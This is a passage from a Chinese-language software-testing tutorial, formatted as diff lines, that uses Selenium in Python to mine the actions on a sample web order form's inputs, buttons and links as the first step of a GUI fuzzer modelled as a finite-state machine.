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
+)
+
+使用`find_elements_by_tag_name()`（和其他类似的`find_elements_...()`函数），我们可以检索特定类型的所有元素，例如HTML `input`元素。
+
+```py
+ui_elements = gui_driver.find_elements_by_tag_name("input")
+
+```
+
+对于每个元素，我们可以使用`get_attribute()`检索其HTML属性。 因此，我们可以检索每个输入元素（如果定义）的`name`和`type`。
+
+```py
+for element in ui_elements:
+    print("Name: %-10s | Type: %-10s | Text: %s" % (element.get_attribute('name'), element.get_attribute('type'), element.text))
+
+```
+
+```py
+Name: name       | Type: text       | Text: 
+Name: email      | Type: email      | Text: 
+Name: city       | Type: text       | Text: 
+Name: zip        | Type: number     | Text: 
+Name: terms      | Type: checkbox   | Text: 
+Name: submit     | Type: submit     | Text: 
+
+```
+
+```py
+ui_elements = gui_driver.find_elements_by_tag_name("a")
+
+```
+
+```py
+for element in ui_elements:
+    print("Name: %-10s | Type: %-10s | Text: %s" % (element.get_attribute('name'), element.get_attribute('type'), element.text))
+
+```
+
+```py
+Name:            | Type:            | Text: terms and conditions
+
+```
+
+### 用户界面操作
+
+与我们在网络模糊的[一章中所做的类似，我们的想法是为用户界面挖掘*语法* –首先是为单个用户界面*页面* （即单个Web页），稍后再显示该应用程序提供的所有页面。 想法是，语法定义了*合法动作序列* –单击和击键–可以在应用程序上应用。](WebFuzzer.html)
+
+我们采取以下行动：
+
+1.  `fill(<name>, <text>)` –用文本`<text>`填充名为`<name>`的UI输入元素。
+2.  `check(<name>, <value>)` –将UI复选框`<name>`设置为给定值`<value>`（真或假）
+3.  `submit(<name>)` –单击UI元素`<name>`提交表单。
+4.  `click(<name>)` –单击UI元素`<name>`，通常用于跟随链接。
+
+例如，此操作序列将填写订单：
+
+```py
+fill('name', "Walter White")
+fill('email', "white@jpwynne.edu")
+fill('city', "Albuquerque")
+fill('zip', "87101")
+check('terms', True)
+submit('submit')
+
+```
+
+我们故意将动作定义为较小–对于真实的用户界面，还必须定义交互，例如滑动，双击，长按，右键单击，修饰键等等。 硒支持所有这些。 但是为了简单起见，我们专注于最重要的交互集。
+
+### 检索动作
+
+作为挖掘动作语法的第一步，我们需要能够检索可能的交互。 我们引入了一个类`GUIGrammarMiner`，该类恰好可以做到这一点。
+
+```py
+class GUIGrammarMiner(object):
+    def __init__(self, driver, stay_on_host=True):
+        self.driver = driver
+        self.stay_on_host = stay_on_host
+        self.grammar = {}
+
+```
+
+我们的首要任务是获取可能的交互作用。 给定一个UI页面，`GUIGrammarMiner`的方法`mine_input_actions()`返回一组*操作*，如上定义。 它首先获取所有`input`元素，然后获取`button`元素，最后获取链接（`a`元素），并将它们合并为一个集合。 （我们在这里使用`frozenset`，因为我们以后想将其用作索引。）
+
+```py
+class GUIGrammarMiner(GUIGrammarMiner):
+    def mine_state_actions(self):
+        return frozenset(self.mine_input_element_actions()
+            | self.mine_button_element_actions()
+            | self.mine_a_element_actions())
+
+```
+
+#### 输入元素操作
+
+挖掘输入动作将遍历一组输入元素，并根据输入类型返回一个动作。 例如，如果输入字段是文本，则关联的动作为`fill()`； 对于复选框，操作为`check()`。
+
+各个值是占位符，取决于类型； 例如，如果输入字段是数字，则该值变为`<number>`。 随着这些动作后来成为语法的一部分，它们将在语法扩展过程中扩展为实际值。
+
+```py
+from [selenium.common.exceptions](https://selenium-python.readthedocs.io/) import StaleElementReferenceException
+
+```
+
+```py
+class GUIGrammarMiner(GUIGrammarMiner):
+    def mine_input_element_actions(self):
+        actions = set()
+
+        for elem in self.driver.find_elements_by_tag_name("input"):
+            try:
+                input_type = elem.get_attribute("type")
+                input_name = elem.get_attribute("name")
+                if input_name is None:
+                    input_name = elem.text
+
+                if input_type in ["checkbox", "radio"]:
+                    actions.add("check('%s', <boolean>)" % html.escape(input_name))
+                elif input_type in ["text", "number", "email", "password"]:
+                    actions.add("fill('%s', '<%s>')" % (html.escape(input_name), html.escape(input_type)))
+                elif input_type in ["button", "submit"]:
+                    actions.add("submit('%s')" % html.escape(input_name))
+                elif input_type in ["hidden"]:
+                    pass
+                else:
+                    # TODO: Handle more types here
+                    actions.add("fill('%s', <%s>)" % (html.escape(input_name), html.escape(input_type)))
+            except StaleElementReferenceException:
+                pass
+
+        return actions
+
+```
+
+应用到我们的订单上，我们看到该方法为我们提供了所有输入操作：
+
+```py
+gui_grammar_miner = GUIGrammarMiner(gui_driver)
+gui_grammar_miner.mine_input_element_actions()
+
+```
+
+```py
+{"check('terms', <boolean>)",
+ "fill('city', '<text>')",
+ "fill('email', '<email>')",
+ "fill('name', '<text>')",
+ "fill('zip', '<number>')",
+ "submit('submit')"}
+
+```
+
+#### 按钮元素动作
+
+挖掘按钮的工作方式类似：
+
+```py
+class GUIGrammarMiner(GUIGrammarMiner):
+    def mine_button_element_actions(self):
+        actions = set()
+
+        for elem in self.driver.find_elements_by_tag_name("button"):
+            try:
+                button_type = elem.get_attribute("type")
+                button_name = elem.get_attribute("name")
+                if button_name is None:
+                    button_name = elem.text
+                if button_type == "submit":
+                    actions.add("submit('%s')" % html.escape(button_name))
+                elif button_type != "reset":
+                    actions.add("click('%s')" % html.escape(button_name))
+            except StaleElementReferenceException:
+                pass
+
+        return actions
+
+```
+
+我们的订单没有`button`元素。 （`submit`按钮是`input`元素，已在上面进行了处理）。
+
+```py
+gui_grammar_miner = GUIGrammarMiner(gui_driver)
+gui_grammar_miner.mine_button_element_actions()
+
+```
+
+```py
+set()
+
+```
+
+#### 链接元素操作
+
+跟随链接时，我们需要确保我们停留在当前主机上-我们只想浏览一个网站，而不是整个Internet。 为此，我们检查链接的`href`属性以检查它是否仍指向同一主机。 如果没有，我们给它一个特殊的动作`ignore()`，顾名思义，稍后将在执行这些动作时将其忽略。 但是，当我们使用一组动作来描述应用程序中的状态时，我们仍然会返回一个动作。
+
+```py
+class GUIGrammarMiner(GUIGrammarMiner):
+    def mine_a_element_actions(self):
+        actions = set()
+
+        for elem in self.driver.find_elements_by_tag_name("a"):
+            try:
+                a_href = elem.get_attribute("href")
+                if a_href is not None:
+                    if self.follow_link(a_href):
+                        actions.add("click('%s')" % html.escape(elem.text))
+                    else:
+                        actions.add("ignore('%s')" % html.escape(elem.text))
+            except StaleElementReferenceException:
+                pass
+
+        return actions
+
+```
+
+要检查我们是否可以跟踪链接，方法`follow_link()`检查URL：
+
+```py
+from [urllib.parse](https://docs.python.org/3/library/urllib.parse.html) import urljoin, urlsplit
+
+```
+
+```py
+class GUIGrammarMiner(GUIGrammarMiner):
+    def follow_link(self, link):
+        if not self.stay_on_host:
+            return True
+
+        current_url = self.driver.current_url
+        target_url = urljoin(current_url, link)
+        return urlsplit(current_url).hostname == urlsplit(target_url).hostname       
+
+```
+
+在我们的应用程序中，不允许我们访问指向`foo.bar`的链接：
+
+```py
+gui_grammar_miner = GUIGrammarMiner(gui_driver)
+
+```
+
+```py
+gui_grammar_miner.follow_link("ftp://foo.bar/")
+
+```
+
+```py
+False
+
+```
+
+不过，指向`localhost`的链接效果很好：
+
+```py
+gui_grammar_miner.follow_link("https://127.0.0.1/")
+
+```
+
+```py
+True
+
+```
+
+在将其用于其他用户界面时，将采取类似的措施以确保我们留在同一应用程序中。
+
+在我们的页面上运行此方法将获得一组链接：
+
+```py
+gui_grammar_miner = GUIGrammarMiner(gui_driver)
+gui_grammar_miner.mine_a_element_actions()
+
+```
+
+```py
+{"click('terms and conditions')"}
+
+```
+
+#### 全部在一起
+
+现在让我们在当前页面上应用`mine_state_actions()`来检索所有元素。 我们看到我们得到了所有三个集合的并集。
+
+```py
+gui_grammar_miner = GUIGrammarMiner(gui_driver)
+gui_grammar_miner.mine_state_actions()
+
+```
+
+```py
+frozenset({"check('terms', <boolean>)",
+           "click('terms and conditions')",
+           "fill('city', '<text>')",
+           "fill('email', '<email>')",
+           "fill('name', '<text>')",
+           "fill('zip', '<number>')",
+           "submit('submit')"})
+
+```
+
+我们假设我们可以从它包含的一组交互元素中识别出一个用户界面*状态* –也就是说，当前的Web页面是由上面的集合标识的。 这与 [Web模糊测试](WebFuzzer.html)相反，在此我们假定URL可以唯一地描述页面的特征–但是，使用JavaScript时，URL可以保持不变，尽管页面内容发生了变化，并且Web之外的UI可能没有概念 唯一网址。 因此，我们说UI与之交互的方式可以唯一地定义其状态。
+
+## 用户界面模型
+
+### 用户界面作为有限状态机
+
+现在我们可以从页面检索UI元素，让我们开始系统地探索用户界面。 想法是将用户界面表示为*有限状态机*-也就是说，可以通过与各个用户界面元素进行交互来获得一系列*状态*。
+
+让我们通过查看Web服务器来说明这种有限状态机。 下图显示了我们的服务器可以处于的状态：
+
+```py
+from [graphviz](https://docs.python.org/3/library/graphviz.html) import Digraph
+
+```
+
+```py
+from [IPython.display](https://ipython.readthedocs.io/en/stable/api/generated/IPython.display.html) import display
+
+```
+
+```py
+from [GrammarFuzzer](GrammarFuzzer.html) import dot_escape
+
+```
+
+```py
+dot = Digraph(comment="Finite State Machine")
+dot.node(dot_escape('<start>'))
+dot.edge(dot_escape('<start>'), dot_escape('<Order Form>'))
+dot.edge(dot_escape('<Order Form>'), dot_escape('<Terms and Conditions>'), "click('Terms and conditions')")
+dot.edge(dot_escape('<Order Form>'), dot_escape('<Thank You>'), "fill(...)\lsubmit('submit')")
+dot.edge(dot_escape('<Terms and Conditions>'), dot_escape('<Order Form>'), "click('order form')")
+dot.edge(dot_escape('<Thank You>'), dot_escape('<Order Form>'), "click('order form')")
+display(dot)
+
+```
+
+<svg height="219pt" viewBox="0.00 0.00 556.04 219.00" width="556pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 215)"><title>%3</title> <g class="node" id="node1"><title>\<start\></title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="286.0409" y="-189.3"><start></text></g> <g class="node" id="node2"><title>\<Order Form\></title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="286.0409" y="-116.3"><Order Form></text></g> <g class="edge" id="edge1"><title>\<start\>->\<Order Form\></title></g> <g class="node" id="node3"><title>\<Terms and Conditions\></title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="102.0409" y="-14.3"><Terms and 